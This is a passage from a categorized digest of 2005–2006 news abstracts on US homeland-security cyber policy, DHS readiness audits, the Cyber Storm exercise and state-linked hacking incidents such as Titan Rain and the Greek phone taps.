A new program sponsored by the Department of Homeland Security will attempt to collect real-time data on cyberattacks in the private sector, with the goal of using such data to prevent future attacks. Led by the University of Pennsylvania, the Cyber Incident Detection Analysis Center will install monitors on corporate networks. In the event of an attack on the network, the monitors, which will cost companies $10,000 annually, will transmit data to the Institute for Strategic Threat Analysis and Response at the university, where it will be analyzed and made available to researchers at other institutions. Those with access to the data will not be able to see which company it came from, and researchers will not be directly involved in prosecuting individuals responsible for cyberattacks. Charles Fleming, executive director of the center, said a pilot program will be carried out before the monitors become widely available. Chronicle of Higher Education, 21 April 2005 (sub. req'd)

Category 16.3 *Infrastructure protection & homeland security*

2005-05-04 **NSF cyber infrastructure plan Internet2 improving security colleges universities**

EDUPAGE; http://chronicle.com/prm/daily/2005/05/2005050401t.htm

NSF WORKING ON CYBERINFRASTRUCTURE PLAN

Arden L. Bement Jr., director of the National Science Foundation (NSF), this week told attendees of an Internet2 meeting in Virginia that the NSF is developing a plan to support development of the nation's cyberinfrastructure, including that of colleges and universities. Bement said that funding for cyberinfrastructure is "one of the most important investments of the 21st century," though the announcement was short on specifics. The NSF's Cyberinfrastructure Interim Working Group submitted a report to Bement that reportedly outlines the details of the plan, but the agency said it will not release the report until some issues are cleared up. In his comments, Bement noted that higher education in particular is in need of improvements. What he described as six-lane superhighways for data "are reduced to two-lane roads at most college and university campuses." Such "information overload," as he called it, impedes research from being conducted efficiently. Still, Bement noted that money for the NSF "is not plentiful" and that it will likely be even scarcer in the future. Chronicle of Higher Education, 4 May 2005 (sub. req'd)

Category 16.3 *Infrastructure protection & homeland security*

2005-05-05 **US Computer Emergency Readiness Team US-CERT service expansion Department of Homeland Security**

DHS IAIP Daily; http://fcw.com/article88781−05−05−05−Web

US-CERT EXPANDS SERVICES

The Department of Homeland Security's U.S. Computer Emergency Readiness Team (US-CERT) will offer federal agencies expanded cybersecurity alerts and threat management services. Federal employees who are designated as first responders in their agencies will have greater access to advanced warnings about cyberattacks. With such early warnings, network and computer security managers often can block incoming worm or virus attacks before they cause damage or disrupt computer network services. "We're been working for some time with public- and private-sector partners to build a better understanding of what we need by way of cyber situational awareness," said Andy Purdy, acting director of the National Cyber Security Division in DHS' Information Analysis and Infrastructure Protection Directorate. Cybersecurity officials who are members of the federal Government Forum of Incident Response and Security Teams will use the new alert and threat management services, along with existing government and commercial services, to protect federal agency networks and computer systems.

Category 16.3 *Infrastructure protection & homeland security*

2005-05-26 **GAO report DHS unprepared computer cybersecurity**

EDUPAGE; http://news.com.com/2100-7348_3-5722227.html

GAO SAYS DHS UNPREPARED FOR CYBERSECURITY

The Government Accountability Office (GAO) has issued a report strongly critical of the readiness of the Department of Homeland Security (DHS) to deal with threats to the nation's cybersecurity. According to the report, DHS "has not fully addressed any" of 13 areas of cybersecurity, including bot networks, criminal gangs, foreign intelligence services, spammers, and spyware. "DHS cannot effectively function as the cybersecurity focal point intended by law and national policy," said the authors of the report. During the past year, DHS has seen the departure of a number of high-level officials, including the director and deputy director of Homeland Security's National Cyber Security Division, the undersecretary for infrastructure protection, and the assistant secretary responsible for information protection. A representative of DHS refuted the GAO's findings, saying that DHS has made improvements to the "nation's cybersecurity posture." He noted that DHS, as a new federal agency, measures progress in nonquantitative, less formal ways. CNET, 26 May 2005

Category 16.3 Infrastructure protection & homeland security

2005-05-26 **Government Accountability Office GAO critical infrastructure protection DHS report**

DHS IAIP Daily; http://www.gao.gov/new.items/d05434.pdf

CRITICAL INFRASTRUCTURE PROTECTION: DEPARTMENT OF HOMELAND SECURITY FACES CHALLENGES IN FULFILLING CYBERSECURITY RESPONSIBILITIES (REPORT)

GAO was asked to determine (1) DHS's roles and responsibilities for cyber critical infrastructure protection, (2) the status and adequacy of DHS's efforts to fulfill these responsibilities, and (3) the challenges DHS faces in fulfilling its cybersecurity responsibilities. DHS established the National Cyber Security Division to take the lead in addressing the cybersecurity of critical infrastructures. While DHS has initiated multiple efforts to fulfill its responsibilities, it has not fully addressed any of the 13 responsibilities, and much work remains ahead. DHS established the US-CERT as a public/private partnership to make cybersecurity a coordinated national efforts. However, DHS has not yet developed national cyber threat and vulnerability assessments or government/industry contingency recovery plans for cybersecurity, including a plan for recovering key Internet functions. DHS faces a number of challenges which include achieving organizational stability, gaining organizational authority, overcoming hiring and contracting issues, increasing awareness about cybersecurity roles and capabilities, establishing effective partnerships with stakeholders, achieving two-way information sharing with these stakeholders, and demonstrating the value DHS can provide. Until it confronts and resolves these underlying challenges and implements its plans, DHS will have difficulty achieving significant results in strengthening the cybersecurity of our critical infrastructures. Highlights: http://www.gao.gov/highlights/d05434high.pdf

---

Category 16.3 Infrastructure protection & homeland security

2005-05-31 **FBI DHS Homeland Security cell phones airplane objection anti-terrorism FCC**

DHS IAIP Daily; http://news.zdnet.com/2100−1035_22−5726850.html

FBI AND DHS OBJECT TO CELL PHONES ON AIRPLANES

The FBI and Department of Homeland Security (DHS) are objecting to a proposal to permit the use of cellular telephones and other wireless devices on airplanes. Unless telecommunications providers follow a lengthy list of eavesdropping requirements for calls made aloft, the FBI and DHS don't want cellular or wireless connections to be permitted. In a letter to the Federal Communications Commission (FCC) sent last Thursday, May 26, the police agencies said any rule permitting "in-flight personal wireless telephone use must consider public safety and national security" concerns. At the moment, technical and social reasons keep cell phones muted during flight. The FCC is considering proposals to relax those restrictions The FBI and DHS say that the 1994 Communications Assistance for Law Enforcement Act, or CALEA, requires that airlines follow strict wiretapping guidelines. The police agencies, for instance, want to be able to eavesdrop on conversations no "more than 10 minutes" after the call is made. "There is a short window of opportunity in which action can be taken to thwart … crisis situations onboard an aircraft, and law enforcement needs to maximize its ability to respond to these potentially lethal situations," the agencies say in their letter. Letter to FCC: http://www.askcalea.com/docs/20050526_doj_fcc-wt-04-435.pdf

---

Category 16.3 Infrastructure protection & homeland security

2005-06-09 **DHS lacking disaster backups TSA Coast Guard insufficient money management**

DHS IAIP Daily; http://www.nytimes.com/2005/06/09/politics/09home.html

INTERNAL AUDIT FINDS DHS IS LACKING DISASTER BACKUPS

An internal inspector general audit released on Wednesday, June 8, concluded the computer systems at 19 Department of Homeland Security (DHS) sites that served agencies like the Transportation Security Administration, Customs and Border Protection and the Coast Guard had no functioning backups or relied on obviously deficient or incomplete backups. Even the Federal Emergency Management Agency, which is in charge of disaster recovery, was unprepared, the report said. The department "must be able to provide mission-essential services with minimal disruption following a disaster," the report said. Adequate backups were lacking for networks that screen airline passengers, that inspect goods moving across borders and that communicate with department employees and outside officials. Those same agencies, the auditors found, have in most cases failed to prepare sufficiently written disaster recovery plans that would guide operations if a main office or computer system was knocked out. The problems, the audit said, are insufficient money and insufficient management attention. "We recognize that information-technology continuity is important to lead an effective recovery, which is why we are developing a plan to ensure critical systems continuity," a spokesperson, Brian Roehrkasse, said. Inspector General's Report: http://www.dhs.gov/interweb/assetlibrary/OIGr_05-22_May05.pdf

---

Category 16.3 *Infrastructure protection & homeland security*

2005-06-13 **US dumps drops ditches biometric passport requirement UK DHS terrorism anti-terrorism civil liberties privacy concerns**

EDUPAGE; http://www.theregister.com/2005/06/13/us_bio_passports/

U.S. EXPECTED TO DITCH BIOMETRIC PASSPORT REQUIREMENT

Government officials in the United Kingdom are optimistic that the United States will withdraw an upcoming requirement that individuals traveling under the Visa Waiver program have biometric passports. The program allows people from 27 countries to make short visits to the United States without a visa. The U.S. Department of Homeland Security had issued a ruling that participants in the Visa Waiver program would be required to have biometric identifying information added to their passports by October 2004, which was extended to October 2005. Officials in Ireland have put on hold their efforts to comply with the regulation, believing that U.S. officials have come to see the technology as sufficiently unreliable to compel its use by this fall. Critics of biometric technology also point to the possibility that such information could be used to violate individuals' civil liberties. The Register, 13 June 2005

Category 16.3 *Infrastructure protection & homeland security*

2005-07-20 **Government News DHS IT Department of Homeland Security congressional NCSD**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/36434−1.html

DHS TO MOUNT MAJOR IT SECURITY EXERCISE

The Department of Homeland Security plans to conduct a major cybersecurity preparedness and response exercise to be called Cyber Storm in November, a department official said in congressional testimony Tuesday, July 19. Andy Purdy, acting director of DHS' National Cyber Security Division (NCSD), described Cyber Storm as "a national exercise" during a hearing of the Senate Homeland Security and Governmental Affairs Subcommittee on Federal Financial Management, Government Information and International Security. According to written testimony Purdy presented, the division has worked with the Justice and Defense departments to help form the National Cyber Response Coordination Group (NCRCG). "The NCRCG has developed a concept of operations for national cyber incident response that will be examined in the National Cyber Exercise, Cyber Storm, to be conducted by NCSD in November 2005 with public and private-sector stakeholders."

Category 16.3 *Infrastructure protection & homeland security*

2005-08-02 **terrorism cyberterrorists copy hacker tactics information cyber warfare security government**

DHS IAIP Daily; http://www.techweb.com/wire/security/167100173#_

TERRORISTS COPYING HACKER TACTICS.

Cyber-terrorists are trying to break into government networks around the world using the same tactics as run-of-the-mill hackers, a U.S. State Department official said Tuesday, August 2. "The same technique that a hacker would use, the same technology, will be utilized by somebody with a different political motivation," Michael Alcorn, branch chief of the State Department's Office of Anti-Terrorism Assistance, in a statement made to the AFP wire service in Kuala Lumpur on Tuesday. The Office of Anti-Terrorism Assistance trains foreign law enforcement personnel on a variety of terrorism-related topics, including cyber-security. "The problem we're all facing is a global borderless problem, where attacks can occur anywhere in the world and originate from anywhere else in the world," Alcorn told the AFP. He went on to say that cyber-security problems and resulting terrorist activity was widespread, and claimed that some of the evidence of attacks has come from overseas law enforcement agencies which have confiscated militants' computers. "They're finding evidence on these computers that indicates militants have looked into or are researching this type of technology," Alcorn said.

Category 16.3 Infrastructure protection & homeland security

2005-08-11 **DHS report private vendor domestic security improvement businesses**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0 ,10801,103827,00.html

BUSINESSES NEED TO FOCUS ON CYBERSECURITY

The Department of Homeland Security (DHS) will focus significant efforts on cybersecurity and on working with private vendors to develop technologies designed to provide domestic security in the coming months, DHS Secretary Michael Chertoff said Wednesday, August 10. Chertoff, speaking at the InfraGard National Conference in Washington, DC, also called on private companies to make more of an effort to protect their cyberinfrastructures. He also said more incentives are needed for IT vendors to focus on cybersecurity. InfraGard is an organization started by the FBI to improve information sharing about critical infrastructure between the U.S. government and private industry. One incentive for private companies to develop cybersecurity products would be to institute legal reforms that limit damages from product lawsuits, Chertoff said. As an example, he cited the Support Anti-terrorism by Fostering Effective Technologies Act of 2002, which limits liability for products designed to combat terrorism. But he said Congress should go further in protecting companies from product lawsuits. However, private companies should already have good reasons to protect their infrastructures, he said. "In today's threat environment, active security measures are critical to businesses themselves, because the cost of an attack will very, very greatly outweigh the cost of protection." InfraGard 2005 National Conference: http://www.infragardconferences.com/

Category 16.3 Infrastructure protection & homeland security

2005-09-16 **national security policy critical infrastructure report vulnerabilities weakness testimony Congress committee information warfare physical attack counter-terrorism Internet robustness resiliance cooperation**

RISKS; http://www.house.gov/science/press/109/109-129.htm 24 04

CIOs WARN CONGRESSIONAL COMMITTEE OF CRITICAL INFRASTRUCTURE VULNERABILITIES

On Sep 15, 2005, CIOs of several major US corporations warned the House Science Committee "the nation's critical infrastructure remains vulnerable to cyber attack. The witnesses said the economy is increasingly dependent on the Internet and that a major attack could result in significant economic disruption and loss of life."

….

"Urging action to address this vulnerability, the witnesses advocated increased funding for cybersecurity research and development (R&D) and greater information sharing between industry and government and among various sectors of industry. Witnesses also urged greater federal attention to cybersecurity and praised the creation of an Assistant Secretary for Cybersecurity at the Department of Homeland Security (DHS)."

….

>[Mr. John Leggate, Chief Information Officer, British Petroleum Inc.] testified that an informal survey earlier this year found that executives in the telecommunications, energy, chemical, and transportation sectors estimated that about 30 percent of their revenue depends directly on the Internet. He also said that, because of interdependency among various industry sectors, a single attack could reverberate throughout the global economy: "'These cascading dependencies all too quickly create 'domino effects' that are not obvious to the corporate customer or the policymaker."<

[Extracts by MK]

Category 16.3 *Infrastructure protection & homeland security*

2005-10-20 **security evaluation legal ruling court judgement shut down denial-of-service DoS government agency department**

http://sfgate.com/cgi-bin/article.cgi?file=/n/a/2005/10/20/national/w145958D47.DTL

US DEPT OF INTERIOR ORDERED OFF THE 'NET

Security expert Stephen Cobb, CISSP writes, "The US Department of the Interior has spent $100 million on security improvements in the last 3 years but still gets an "F" for security and so has to stay off the 'net until it can prove the data on its network is safe." A story by Jennifer Talhelm, AP writer, begins, "A judge ordered the Interior Department to disconnect from the Internet all computer equipment holding data related to trust accounts it manages for American Indians, a decision that could cripple large sections of the agency's computer network. In a 205-page opinion declaring the department's computer security 'disorganized and broken,' U.S. District Judge Royce Lamberth on Thursday (2005/10/20) said the order applies to all networks with access to trusted data -- from servers to BlackBerrys -- except what is necessary to protect from fire or threats to life, property or national security."

Category 16.3 *Infrastructure protection & homeland security*

2005-11-02 **DHS IT system audit report systems uncertified unaccredited FISMA**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/37474−1.html

DHS'S INSPECTOR GENERAL AUDITS IT SYSTEMS

An audit by the Department of Homeland Security's inspector general, Richard L. Skinner, found that many of the department's IT systems remain uncertified and unaccredited, while plans to correct weaknesses are undeveloped. The report also said contingency plans have not been developed and tested for all systems, and added that tools used to measure progress are neither complete nor current. "We recommend that DHS continue to consider its information security program a significant deficiency for [fiscal] 2005," the report concluded. DHS officials agreed with the recommendations and, according to the report, have developed remediation plans for fiscal 2006. Skinner evaluated DHS' compliance with the Federal Information Security Management Act of 2002, which focuses on program management, implementation and evaluation of the security of unclassified and national security IT systems. The department has made progress on several fronts, including developing so-called Plans of Action and Milestones, as well as a Trusted Agent FISMA tool to collect and track data related to FISMA compliance. Report: http://www.dhs.gov/interweb/assetlibrary/OIG_05-46_Sep05.pdf

---

Category 16.3 *Infrastructure protection & homeland security*

2005-11-07 **infrastructure collapse natural disaster hurricane Katrina telecom weak link**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/37515−1.html

TELECOM INFRASTRUCTURE IS WEAK LINK IN DISASTERS

During Hurricane Katrina, getting enough power was a major issue for the Gulf Coast telecom providers, as was keeping the basic infrastructure running and providing physical security for workers and equipment. A recent Federal Communications Commission meeting with two telecommunication providers revealed that outages in physical infrastructure remains a problem for networks in disaster situations. Anthony Melone, vice president of network operations support for Verizon Wireless stated that Katrina "was probably the most severely impacted situation that we've experienced...There were a lot of unique learning experiences." Verizon Wireless' cellular phone coverage for Alabama, Louisiana, and Mississippi dipped to less than 50 percent of its full coverage, and about six percent of BellSouth's customer base -- about 1.2 million users -- lost landline telephone usage.

Category 16.3 *Infrastructure protection & homeland security*

2005-11-28 **US government agencies CIA cybersecurity expert recommendation monitor insider network threats**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/37654−1.html

AGENCIES MUST MONITOR INSIDER NETWORK THREATS, EXPERT SAYS

Agency networks are more vulnerable than ever, according to a former Central Intelligence Agency (CIA) official and cybersecurity expert, and the greatest threat to an organization's network security may come from within. Eric Cole, who worked for the CIA for more than five years, told an audience of government and corporate security professionals Monday, November 28, at the inaugural Techno Forensics Conference at the National Institute of Standards and Technology that despite their best efforts, networks are only getting more porous. Cole said an emerging threat for organizations is that the emphasis on thwarting outside attacks and tracing their origins has led them to overlook the insider threat. In several recent cases, organizations conducted preliminary forensic examinations after network incidents and identified employees as being responsible. Aside from network insecurity, Cole said agencies need to have standardized procedures for computer forensics. A lack of standardized procedures for computer forensics, he warned, will jeopardize organizations' abilities to use forensic examinations at trial.

Category 16.3 *Infrastructure protection & homeland security*

2005-12-13 **Cyber Security Industry Alliance CSIA federal government DHS rating D+**

EDUPAGE; http://www.fcw.com/article91710-12-13-05-Web

CSIA GIVES FEDS D+ ON CYBERSECURITY

In a report card released by the Cyber Security Industry Alliance (CSIA), the federal government received a grade of D+ for cybersecurity. CISA gave credit to the Department of Homeland Security for establishing a new position, the assistant secretary for cybersecurity. Six months after that job was created, however, it remains unfilled. Paul Kurtz, executive director of CSIA, commented that "Cybersecurity research is in a crisis." CSIA also launched what it calls a Digital Confidence Index, a measure of public confidence in efforts to protect computers and systems. The initial rating for the index is 58 out of 100. CSIA issued a set of 13 recommendations, called the National Agenda for Information Security in 2006, designed to improve the nation's cybersecurity. Among the recommendations are calls to increase funding for cybersecurity research and to promote cooperation among federal agencies. Federal Computer Week, 13 December 2005

Category 16.3 *Infrastructure protection & homeland security*

2006-01-10 **US DHS open source support source code bug hunt**

DHS IAIP Daily; http://news.com.com/Homeland+Security+helps+secure+open −sour ce+code/2100−1002_3−6025579.html?tag=nefd.lede

DEPARTMENT OF HOMELAND SECURITY HELPS SECURE OPEN-SOURCE CODE

The U.S. Department of Homeland Security (DHS) is extending the scope of its protection to open-source software. Through its Science and Technology Directorate, DHS has given $1.24 million in funding to Stanford University, Coverity and Symantec to hunt for security bugs in open-source software and to improve Coverity's commercial tool for source code analysis. The DHS grant will be paid over a three-year period, with $841,276 going to Stanford, $297,000 to Coverity and $100,000 to Symantec. In the effort, which the government agency calls the "Vulnerability Discovery and Remediation, Open Source Hardening Project," Stanford and Coverity will build and maintain a system that does daily scans of code contributed to popular open-source projects. The automated system should be running by March, and the resulting database of bugs will be accessible to developers, they said. Symantec will provide security intelligence and test the source code analysis tool in its proprietary software environment, said Brian Witten, the director of government research at the Cupertino, CA, security software vendor. The list of open-source projects that Stanford and Coverity plan to check for security bugs includes Apache, BIND, Ethereal, KDE, Linux, Firefox, FreeBSD, OpenBSD, OpenSSL. and MySQL, Coverity said.

Category 16.3 *Infrastructure protection & homeland security*

2006-01-11 **DHS Department of Homeland Security funding open source security research software Symantec Coverity Stanford University**

EDUPAGE; http://www.internetnews.com/security/article.php/3576886

DHS GRANT FUNDS OPEN SOURCE RESEARCH

The Department of Homeland Security (DHS) has awarded a $1.24 million, three-year contract to improve the quality of open source software. Given the growing reliance on open source technologies for infrastructure that underpins national security, DHS expects to see real benefits from the grant. The award will be split among Stanford University, Symantec, and Coverity, a firm that specializes in code analysis. Rob Rachwald, senior director of marketing at Coverity, said, "The DHS in many ways is obviously brokering this and they are the main beneficiary." For the grant, Coverity will identify security flaws and risks; Stanford will offer academic analysis of trends and provide opinions about the relative security of various technologies; and Symantec will provide consulting on how governmental agencies can incorporate open source products in a secure fashion into their own applications.

Category 16.3 *Infrastructure protection & homeland security*

2006-01-18 **DHS cybersecurity guidance grant kit XML-based information sharing**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/38026−1.html

DEPARTMENT OF HOMELAND SECURITY GRANT KIT OFFERS CYBERSECURITY GUIDANCE

The Department of Homeland Security's (DHS) new preparedness unit is urging state governors to prepare cybersecurity plans, adopt a new national XML-based model for information-sharing and implement newly developed common rules for geospatial content. The recommendations are some of the most detailed that the federal government has made to state and local governments on using IT in the fight against terrorism. The IT-related guidance is included in the fiscal 2006 grant application kit for the distribution of $3.9 billion in federal homeland security grants to states and localities this year, published by the preparedness directorate. Cybersecurity guidance was attached as an appendix for the first time. Guidelines for topics to be included in the cyberplans are somewhat open-ended. Recommendations cover about two-dozen questions related to policy, training, IT deployment and vulnerability. In addition, DHS is recommending that states, local and tribal government adopt geospatial data guidelines developed by the Information Content Subgroup of the Federal Geographic Data Committee Homeland Security Working Group in October 2005.

Category 16.3 *Infrastructure protection & homeland security*

2006-01-27 **AT&T disaster recovery exercise Dallas**

DHS IAIP Daily; http://www.physorg.com/news10220.html

AT&T TO CONDUCT DISASTER EXERCISE.

AT&T will conduct its largest-ever network disaster recovery exercise in Dallas, TX, on Wednesday, February 8, the company said Wednesday, January 25. The telecommunications group said that self-contained equipment trucks will test and evaluate how well the company can support services in the event of a disaster. A total of 43 trailers will be used for the latest exercise in the Dallas-Fort Worth area. AT&T said it has invested over $300 million in its network disaster recovery program, which includes engineers and technicians across the country. The team has been activated 21 times since 1990, including responding to Hurricanes Katrina and Rita last year, the San Diego wildfires in 2003 and the September 11, 2001, attacks in New York City.

Category 16.3 *Infrastructure protection & homeland security*

2006-01-30 **Homeland Security DHS federal agencies Cisco Citadel Computer Associates Intel Microsoft Symantec VeriSign Cyber Storm exercise**

DHS IAIP Daily;
http://www.washingtontechnology.com/news/1_1/daily_news/2787 7−1.html

DHS, AGENCIES PLAN JOINT CYBER STORM EXERCISE.

The Department of Homeland Security (DHS) will test how well it works with other federal agencies and private IT companies to protect cybersecurity in a national exercise from February 6-10. The Information Technology Information-Sharing and Analysis Center will take part in the exercise, known as "Cyber Storm," with DHS to test its draft concept of operations for responding to cybersecurity incidents. Participating in Cyber Storm are Cisco Systems Inc., Citadel Security Software Inc., Computer Associates International Inc., Computer Sciences Corp., Intel Corp., Microsoft Corp., Symantec Corp., and VeriSign Inc., the center announced on its Website. Cyber Storm also will involve government agencies. According to Donald Purdy, acting director of DHS' National Cyber Security Division, the division established the Government Forum of Incident Response and Security Teams (GFIRST) to facilitate interagency information sharing and cooperation for readiness and response. The teams, comprising government computer experts, are responsible for IT security at government agencies. In addition to the GFIRST teams, the agency has worked with the Defense and Justice departments to form the National Cyber Response Coordination Group to provide an organized federal response to cybersecurity breaches.

Category 16.3 *Infrastructure protection & homeland security*

2006-02-15 **FBI Director Robert Mueller RSA Conference cyber threats fluid far reaching foreign agency international law enforcement**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,124741,00.asp#

FBI DIRECTOR: CYBER THREATS FLUID AND FAR REACHING.

Hacker hunters need to develop new techniques to take on the latest generation of sophisticated and well-organized cyber criminals, FBI Director Robert Mueller told attendees of the RSA Conference 2006 on Wednesday, February 15. In particular, Mueller said in a keynote address, the FBI must work with corporations and international law enforcement to help combat online criminal acts that are seldom reported. "Increasingly our cyber threats originate outside of the United States," he said. "The once-clear divisions of jurisdiction and responsibility between agencies [and nations]...have been rendered obsolete by the fluid and far-reaching nature of today's threats." The FBI now has more flexibility to work with international law enforcement and is helping build relationships with those foreign agencies by putting operatives "on the ground" in countries that may be hotbeds for cybercrime, according to Steven Martinez, the deputy assistant director for the FBI's Cyber Division, who spoke after Mueller.

Category 16.3 *Infrastructure protection & homeland security*

2006-02-16 **FBI Director Mueller call partnerships fighting cyber crime**

EDUPAGE; http://www.fcw.com/article92354-02-16-06-Web

FBI DIRECTOR CALLS FOR MORE PARTNERSHIPS

Speaking at the RSA Conference this week, FBI Director Robert Mueller called for more partnerships among law enforcement agencies, the private sector, and colleges and universities. Mueller characterized cyberspace as a "largely unprotected frontier with seemingly limitless opportunity," noting that much of that opportunity is exploited by criminals. He said the changing landscape of technology infrastructure makes traditional jurisdictional boundaries obsolete. The FBI now includes a division created in 2002 that focuses exclusively on cybersecurity, and each of the bureau's 56 field offices includes a squad that deals with computer crimes. The FBI has a number of existing programs coordinated with private-sector organizations, but those partnerships need to expand, Mueller said.

16.4 Military & government perspectives on INFOWAR

Category 16.4 *Military & government perspectives on INFOWAR*

2005-04-07 **US official warning Chinese intelligence Latin South America trade economic cyberwarfare capability Level-1 INFOWAR**

DHS IAIP Daily; http://www.miami.com/mld/miamiherald/11332057.htm

U.S. OFFICIALS WARN OF CHINESE INTELLIGENCE AND CYBERWARFARE ROLES IN LATIN AMERICA

U.S. officials said Wednesday, April 6, there is no evidence that China is seeking to boost its military presence in Latin America, but for the first time warned about Chinese intentions to establish an intelligence and cyberwarfare beachhead in the region. Roger Noriega, assistant secretary of state for Latin America, and Rogelio Pardo-Maurer, the top Defense Department official for the Western Hemisphere, testified before a House panel as several legislators argued that China is trying to fill the void left by the lack of U.S. involvement in the region. Noriega and Pardo-Maurer said China's interests in Latin America were mostly on the economic side, but warned that Beijing could also have an intelligence agenda as it increased trade with Latin America. Pardo-Maurer said that "we need to be alert to rapidly advancing Chinese capabilities, particularly in the fields of intelligence, communications and cyberwarfare, and their possible application in the region." This is the first time that a senior Pentagon official warned so directly about Chinese cyberwarfare capabilities in the region.

Category 16.4 *Military & government perspectives on INFOWAR*

2005-08-30 **US Army military perspective INFOWAR blogging disintermediation Web sites classified sensitive information**

EDUPAGE; http://www.fcw.com/article90522-08-30-05-Web

ARMY ON THE LOOKOUT FOR SENSITIVE INFO ONLINE U.S.

Army officials have said they will take a closer look at blogs and Web sites maintained by soldiers. Many such blogs and Web sites include photographs or other information that inadvertently exposes classified or sensitive information to anyone with access to the Internet. Gen. Peter Schoomaker, the Army's chief of staff, noted that soldiers routinely post pictures online that include "tactics, techniques, and procedures" for weapons systems. According to Richard Cody, Army vice chief of staff, "The enemy is actively searching the unclassified networks for information, especially sensitive photos." Schoomaker issued a memo saying that the Army will work to closely monitor Web sites and blogs to avoid operational security violations, which "needlessly place lives at risk and degrade the effectiveness of our operations." Federal Computer Week, 30 August 2005

Category 16.4 *Military & government perspectives on INFOWAR*

2005-12-13 **research report hacker attack US network Chinese military information warfare INFOWAR**

DHS IAIP Daily; http://www.physorg.com/news8992.html

RESEARCHERS: HACKER ATTACKS IN U.S. LINKED TO CHINESE MILITARY

A systematic effort by hackers to penetrate U.S. government and industry computer networks stems most likely from the Chinese military, the head of a leading security institute said. The attacks have been traced to the Chinese province of Guangdong, and the techniques used make it appear unlikely to come from any other source than the military, said Alan Paller, the director of the SANS Institute, an education and research organization focusing on cybersecurity. In the attacks, Paller said, the perpetrators "were in and out with no keystroke errors and left no fingerprints, and created a backdoor in less than 30 minutes. How can this be done by anyone other than a military organization?" Paller said that despite what appears to be a systematic effort to target government agencies and defense contractors, defenses have remained weak in many areas. Security among private-sector Pentagon contractors may not be as robust, said Paller, because "they are less willing to make it hard for mobile people to get their work done." The U.S. military has code-named the recent hacker effort "Titan Rain" and has made some strides in counter-hacking to identify the attackers, Paller said.

Category 16.4 Military & government perspectives on INFOWAR

2006-01-16 **military security efforts Joint Task Force JTF DISA DoD**

DHS IAIP Daily; http://www.networkworld.com/news/2006/011606−military−security.html

MILITARY CLAMPING DOWN ON SECURITY

Lt. General Charles Croom, commander of the Joint Task Force (JTF) on Global Network Operations (GNO) and director of the Defense Information Systems Agency (DISA), last week said a sweep is underway of all Department of Defense (DoD) networks to uncover security holes amid a get-tough policy. "The attacks are coming from everywhere and they're getting better, " said Croom in his keynote address at the DoD Cyber Crime Conference last week. The discovery of a botnet last November 5th inside DoD networks contributed to the decision to clamp down security. So far, the results are troubling. "Almost 20 percent of our accounts are unauthorized or had expired," Croom said, noting that military personnel tend to move every two or three years and accounts are sometimes left open. The exact tally of improper accounts won't be known until March, he said. The biggest changes to come may be in the next six months as the JTF-GNO, the organization set up to centralize decisions about security and operations in the Army, Navy, Air Force and Marines, evaluates a possible redesign of its two primary global IP-based military networks.

Category 16.4 Military & government perspectives on INFOWAR

2006-01-27 **information warfare INFOWAR United States US**

DHS IAIP Daily; http://www.fcw.com/article92121−01−27−06−Web

EXPERTS: COUNTRIES MAKE DANGEROUS CYBER ADVERSARIES.

When other countries launch cyber attacks, the United States should expect to see more robust ways to crack systems and more dangerous methods to manipulate them, two cybersecurity experts said Thursday, January 26. Countries have many resources and can attack at least as effectively as independent cybercriminals can, said Matthew Devost, president and chief executive officer of the Terrorism Research Center. China, North Korea and Russia already use cyber attacks to advance their interests, Devost said, speaking on a panel at the Black Hat Federal conference in Arlington, VA. Cyber attacks from countries can be difficult to investigate because analysts may not be able to tell if a given country is launching the attack or if other organizations are attacking through the country's resources, he said. Countries and terrorist organizations can have a different perception of time than other cyber attackers do, Devost said. They can wait years, performing reconnaissance and placing agents inside target organizations to find vulnerabilities, he said. Preparation is important to stopping attacks from other countries, said Tom Parker, security research group manager at MCI. Organizations must anticipate their adversaries' actions and look at all data, attack profiles and threat types, he said.

Category 16.4 Military & government perspectives on INFOWAR

2006-02-03 **hacker Greek government phone tap wiretapping illegal software Vodafone**

DHS IAIP Daily; http://news.zdnet.com/2100−1009_22−6034895.html

HACKERS TAP GREEK GOVERNMENT CELL PHONES.

Unknown eavesdroppers tapped the cell phones of Greek Prime Minister Costas Karamanlis, five cabinet members and dozens of top officials for about a year, the Greek government said on Thursday, February 2. Illegal software installed at Greece's second biggest mobile phone operator, Vodafone Greece, allowed calls to and from about 100 phones to be recorded. Most belonged to the government but one was owned by the U.S. embassy in Athens, officials said. "The phones tapped included the prime minister's, the whole leadership of the defense ministry and the whole leadership of the public order ministry, some foreign ministry phones, one former minister, now in opposition, and others," government spokesperson Theodore Roussopoulos told a news conference. The wiretaps lasted from just months before the 2004 Athens Olympics until March 2005, when Vodafone Greece discovered the incident. "As soon as we discovered the phone-tapping software, we removed it and informed the state, as was our obligation," George Koronias, head of Vodafone Greece, said in a statement. But the shutdown of the illegal software in the Vodafone system wiped out all traces of how and from where it had been installed, Public Order Minister George Voulgarakis told the news conference.

Category 16.4 *Military & government perspectives on INFOWAR*

2006-02-06 **China hacker attack UK Parliament Windows WMF vulnerability information warfare INFOWAR**

DHS IAIP Daily;
http://computerworld.co.nz/news.nsf/scrt/AFAC1C3187BF9027CC2
5710900773FD8

CHINA ATTACKS UK PARLIAMENT USING WINDOWS SECURITY HOLE.

Chinese hackers attacked the UK Parliament in January, the government's e-mail filtering company, MessageLabs, has confirmed. The attack, which occurred on January 2, attempted to exploit the Windows Meta File (WMF) vulnerability to hijack the PCs of more than 70 named individuals. E-mails were sent to staff with an attachment that contained the WMF-exploiting Setabortproc Trojan. Anyone opening this attachment would have enabled attackers to browse files and possibly install a key-logging program to attempt the theft of passwords. None of the e-mails got through to the intended targets, MessageLabs says, but the UK authorities were alerted. MessageLabs said the e-mails had been traced to servers in China's Guangdong Province, hence the suspicion that the latest attack was part of a more general campaign of electronic subversion. This is not the first time the UK Government has come under Trojan attack from China. Last summer, the National Infrastructure Security Coordination Center (NISCC) reported that UK government departments had been hit by a wave of Trojans originating in China.

Category 16.4 *Military & government perspectives on INFOWAR*

2006-02-10 **DHS Cyber Storm exercise evaluation**

DHS IAIP Daily;
http://www.techweb.com/wire/security/179103522;jsessionid=WO
VM0LSQLDIUSQSNDBCSKHSCJUMEKJVN

DHS WEATHERS CYBER STORM.

